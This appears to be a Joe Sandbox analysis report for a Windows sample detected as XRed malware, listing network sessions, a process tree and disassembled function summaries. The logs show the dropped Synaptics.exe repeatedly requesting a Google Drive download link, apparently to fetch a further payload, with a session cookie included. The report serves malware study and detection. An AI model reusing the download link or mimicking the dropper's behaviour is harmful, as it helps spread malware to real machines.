2024-07-25 19:55:48 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:48 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ggHPKZmL31UC9iTvdvIciA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nO0uWFJq4ntejabUS49Js5KXUWeRTLSYWzrY7vQx66tOp2VE-RoKsnoxAh-E-JjNWFVMZ8 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:48 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:48 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6f 6e 65 48 6f 37 43 52 63 77 6e 55 57 39 63 61 5f 53 35 53 31 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="oneHo7CRcwnUW9ca_S5S1Q">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:48 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.8	49943	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:48 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:48 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:48 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-drhVks4Qn7aO1Mk66dsVFQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.8	49946	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:48 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:49 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:49 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-_cf6zjECwG6Vy5na_iX0rA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.8	49948	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:49 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:49 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:49 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-V0OYC0wY2FstPVIqccStnw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nO_jcDkoQNTk-XkzsrPaED_g0Acovhw3IIcqGBbsKMVaE1ixabbyKBT2ArqLkUdStbxAl4HmccENA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:49 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-25 19:55:49 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 34 49 34 6a 50 4f 41 59 31 69 43 66 52 4f 67 58 7a 45 50 35 37 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="4I4jPOAY1iCfROgXzEP57Q">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:49 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.8	49947	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:49 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:49 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:49 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-5U5cuLgIwAkC5vu7mpE7_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	15:54:47
Start date:	25/07/2024
Path:	C:\Users\user\Desktop\LisectAVT_2403002A_282.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\LisectAVT_2403002A_282.exe"
Imagebase:	0x400000
File size:	16'016'392 bytes
MD5 hash:	6D1FD0AF6DD71B3CA81ECEFB1D9F9324
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000000.00000000.1460751390.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000000.1460751390.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:54:49
Start date:	25/07/2024
Path:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe"
Imagebase:	0xa20000
File size:	15'244'952 bytes
MD5 hash:	1BD671CE0DEAAA901841AE87D92B3606
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	15:54:49
Start date:	25/07/2024
Path:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe" -burn.unelevated BurnPipe.{E4E51F82-7E66-4DF5-9657-3D7E13E42432} {55F881B6-C3A9-452A-8EED-53F844AA8C21} 1492
Imagebase:	0xa20000
File size:	15'244'952 bytes
MD5 hash:	1BD671CE0DEAAA901841AE87D92B3606
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	15:54:51
Start date:	25/07/2024
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	B753207B14C635F29B2ABF64F603570A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000004.00000003.1551715301.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:54:52
Start date:	25/07/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0x910000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:55:00
Start date:	25/07/2024
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe"
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	B753207B14C635F29B2ABF64F603570A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	15:55:51
Start date:	25/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6988 -s 13472
Imagebase:	0x40000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00A53185 Relevance: 49.4, APIs: 27, Strings: 1, Instructions: 351
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00A531C5
_memset.LIBCMT ref: 00A531E8
_memset.LIBCMT ref: 00A53202
_memset.LIBCMT ref: 00A5321C
_memset.LIBCMT ref: 00A53236
_memset.LIBCMT ref: 00A53250
InitializeSecurityDescriptor.ADVAPI32(?,00000001), ref: 00A53267
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00A53271
CreateWellKnownSid.ADVAPI32(0000001A,00000000,?,?), ref: 00A532B8
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00A532BE
CreateWellKnownSid.ADVAPI32(00000017,00000000,?,?), ref: 00A532FF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00A53305
CreateWellKnownSid.ADVAPI32(00000018,00000000,?,?), ref: 00A53346
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00A5334C
CreateWellKnownSid.ADVAPI32(00000010,00000000,?,?), ref: 00A5338D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00A53393
CreateWellKnownSid.ADVAPI32(00000016,00000000,?,?), ref: 00A533D4
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00A533DA
SetEntriesInAclA.ADVAPI32(00000005,?,00000000,?), ref: 00A534CC
SetSecurityDescriptorOwner.ADVAPI32(?,?,00000000), ref: 00A53507
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00A53511
SetSecurityDescriptorGroup.ADVAPI32(?,?,00000000), ref: 00A53547
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00A53551
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00A53588
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00A53592
CoInitializeSecurity.OLE32(?,000000FF,00000000,00000000,00000006,00000002,00000000,00003000,00000000), ref: 00A535D8
LocalFree.KERNEL32(?), ref: 00A535EE

Strings

srputil.cpp, xrefs: 00A535B7

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLast$_memset$CreateKnownSecurityWell$Descriptor$Initialize$DaclEntriesFreeGroupLocalOwner
String ID: srputil.cpp
API String ID: 3642641498-4105181634
Opcode ID: 692c3f58209aa3331a0c70d0b89436be08fb1688dbc419a977a884b6b404bcdf
Instruction ID: 1b8fe1c26058c8648693bfd2f8d5fbc96f330152dd6317823570f120aace36e7
Opcode Fuzzy Hash: 692c3f58209aa3331a0c70d0b89436be08fb1688dbc419a977a884b6b404bcdf
Instruction Fuzzy Hash: 0ED156B2D40229AEDB20DF95CC85BEEBAB8BF44351F1045BAE519E7140E7744F888F51

Function 00A21B46 Relevance: 42.3, APIs: 7, Strings: 17, Instructions: 295
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00A21BA5
_memset.LIBCMT ref: 00A21BC9

Part of subcall function 00A21033: InitializeCriticalSection.KERNEL32(?,?,0000011C), ref: 00A21057
Part of subcall function 00A21033: InitializeCriticalSection.KERNEL32(?,?,0000011C), ref: 00A21060
Part of subcall function 00A21033: GetCurrentProcess.KERNEL32(00000000,?,?,?,0000011C), ref: 00A2107E

CoInitializeEx.OLE32(00000000,00000000,00000003,00000000), ref: 00A21C04
CoUninitialize.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00A21F08

Part of subcall function 00A21226: CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,?,?,00000000,?,?,?,?), ref: 00A212AC

Part of subcall function 00A2157C: ReleaseMutex.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 00A2174B
Part of subcall function 00A2157C: CloseHandle.KERNEL32(00000000,?,?,?,00A21DEA,?,?), ref: 00A21754

Part of subcall function 00A218B9: IsWindow.USER32(?), ref: 00A21AC3
Part of subcall function 00A218B9: PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00A21AD6
Part of subcall function 00A218B9: CloseHandle.KERNEL32(00000000,?,?,?,00A21E12,?), ref: 00A21AE5

Strings

Failed to initialize Regutil., xrefs: 00A21C41
Failed to run per-machine mode., xrefs: 00A21DF0
Failed to run per-user mode., xrefs: 00A21E18
_Failed, xrefs: 00A21E63
Failed to initialize XML util., xrefs: 00A21C7F
txt, xrefs: 00A21E5E
Failed to get OS info., xrefs: 00A21CD6
Setup, xrefs: 00A21E68
Failed to initialize core., xrefs: 00A21D5C
Failed to initialize COM., xrefs: 00A21C10
Invalid run mode., xrefs: 00A21D82
Failed to initialize engine state., xrefs: 00A21BE2
engine.cpp, xrefs: 00A21CCC
Failed to initialize Wiutil., xrefs: 00A21C60
Failed to run RunOnce mode., xrefs: 00A21DA9
3.7.3813.0, xrefs: 00A21D1C
Failed to run embedded mode., xrefs: 00A21DD1

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseHandleInitialize$CriticalSection_memset$CurrentMessageMutexPostProcessReleaseUninitializeWindow
String ID: 3.7.3813.0$Failed to get OS info.$Failed to initialize COM.$Failed to initialize Regutil.$Failed to initialize Wiutil.$Failed to initialize XML util.$Failed to initialize core.$Failed to initialize engine state.$Failed to run RunOnce mode.$Failed to run embedded mode.$Failed to run per-machine mode.$Failed to run per-user mode.$Invalid run mode.$Setup$_Failed$engine.cpp$txt
API String ID: 3466682788-3889865336
Opcode ID: ff1ed4aa6dcb781f8e3162cef09cfac1d9aac1d764c5f4640eeb5d6938650292
Instruction ID: cee62af591773795efb9435aa376d22a9dd67aa3b22887b5c36b4829dcd068bc
Opcode Fuzzy Hash: ff1ed4aa6dcb781f8e3162cef09cfac1d9aac1d764c5f4640eeb5d6938650292
Instruction Fuzzy Hash: A5B19471900239EBCF20AF68DE81AEDB6B5BB68302F5104FAF909A7141DB714E85CF51

Function 00A5573B Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 151
libraryloadercomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,00000000,?,?,00A55923,00000000,?,00000000), ref: 00A55759
GetLastError.KERNEL32(?,?,00A55923,00000000,?,00000000,?,?,?,?,?,?,?,?,00A43EA0,00A2222A), ref: 00A55765
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00A557C9
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00A557D5
GetProcAddress.KERNEL32(00000000,Wow64EnableWow64FsRedirection), ref: 00A557DF
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00A557EA
CoCreateInstance.OLE32(00A77EF8,00000000,00000001,00A5BCE0,?,?,?,00A55923,00000000,?,00000000), ref: 00A55824
ExitProcess.KERNEL32 ref: 00A558D9

Strings

xmlutil.cpp, xrefs: 00A5578F
Wow64DisableWow64FsRedirection, xrefs: 00A557CF
Wow64EnableWow64FsRedirection, xrefs: 00A557D7
IsWow64Process, xrefs: 00A557C3
Wow64RevertWow64FsRedirection, xrefs: 00A557E1
kernel32.dll, xrefs: 00A55745

Memory Dump Source

